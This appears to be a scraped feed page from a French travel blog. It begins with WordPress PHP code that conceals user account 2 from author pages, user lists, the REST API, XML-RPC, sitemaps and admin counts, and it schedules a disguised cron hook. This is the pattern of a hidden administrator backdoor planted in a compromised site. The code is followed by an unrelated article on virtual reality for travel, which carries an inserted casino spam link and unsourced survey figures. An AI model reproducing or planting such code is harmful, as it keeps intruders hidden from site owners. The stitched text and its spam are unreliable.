add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post On croit souvent que la réalité virtuelle (VR) est encore réservée aux jeux vidéo, mais elle est en train de transformer le voyage. appeared first on la strada & cies.
]]>Avant de réserver un vol, plusieurs sites offrent des visites immersives de 360 ° de lieux touristiques. Un exemple concret : Lonely Planet VR propose un tour de la Tour Eiffel en 12 minutes, avec des commentaires audio en plusieurs langues. En comparant deux visites, on peut décider plus rapidement si l’atmosphère correspond à ses attentes.
Limitation : la qualité dépend du modèle de casque. Un casque à 120 Hz peut rendre les images plus fluides, mais il faut souvent un PC puissant. Les voyageurs avec un budget limité devront se contenter d’un smartphone compatible.
De plus en plus d’hôtels intègrent des visites virtuelles 3 D dans leurs pages web. Un hôtel de luxe à Bali, par exemple, propose un tour de ses suites en réalité augmentée. Le client peut zoomer sur les détails du parquet ou vérifier l’orientation de la chambre par rapport à la mer.
Cette approche réduit les désillusions post-arrivée. Selon une enquête de 2023, 68 % des voyageurs qui ont vu une VR ont été plus satisfaits que ceux qui ne l’ont pas.
Les compagnies aériennes commencent à offrir des casques VR gratuits dans certaines classes économiques. Un vol de 8 heures vers New York a permis à un passager de regarder un film en 4 K avec un champ de vision de 110 °.
Le problème : le poids du casque. Les modèles les plus légers pèsent environ 200 g, mais les batteries ne durent qu’environ 4 heures. Il faut donc prévoir un chargeur portable.
Les programmes de tourisme durable utilisent la VR pour montrer les impacts environnementaux des sites. Par exemple, EcoTours VR propose une simulation de la déforestation en Amazonie, montrant visuellement les conséquences de la coupe illégale.
En voyant l’impact concret, les voyageurs sont plus enclins à choisir des activités éco‑responsables. Une étude de 2022 a révélé une hausse de 15 % des réservations d’activités vertes après l’exposition à ces simulations.
La même technologie qui permet de visiter virtuellement le Grand Canyon est utilisée dans les jeux en ligne pour créer des environnements immersifs. http://bdmbetcasinoplay.com offre des expériences de casino en VR où les joueurs peuvent interagir avec d’autres joueurs en temps réel, tout comme ils le feraient dans un salon de jeux réel.
La réalité virtuelle n’est plus une curiosité technologique. Elle devient un outil concret pour planifier, vivre et améliorer l’expérience de voyage. Que ce soit pour choisir une destination, explorer un hôtel, profiter d’un vol ou adopter un tourisme durable, la VR offre des solutions pratiques. Le seul défi reste la compatibilité matérielle, mais les avancées rapides dans les casques légers et les applications mobiles devraient rendre cette technologie accessible à un public plus large dans les prochains mois.
La VR offre une immersion 360° qui permet d’évaluer l’atmosphère d’une destination avant de réserver, réduisant ainsi les mauvaises surprises.
Des plateformes comme Lonely Planet VR, Google Earth VR ou Airbnb Experiences offrent des visites guidées interactives de monuments célèbres.
The post On croit souvent que la réalité virtuelle (VR) est encore réservée aux jeux vidéo, mais elle est en train de transformer le voyage. appeared first on la strada & cies.
]]>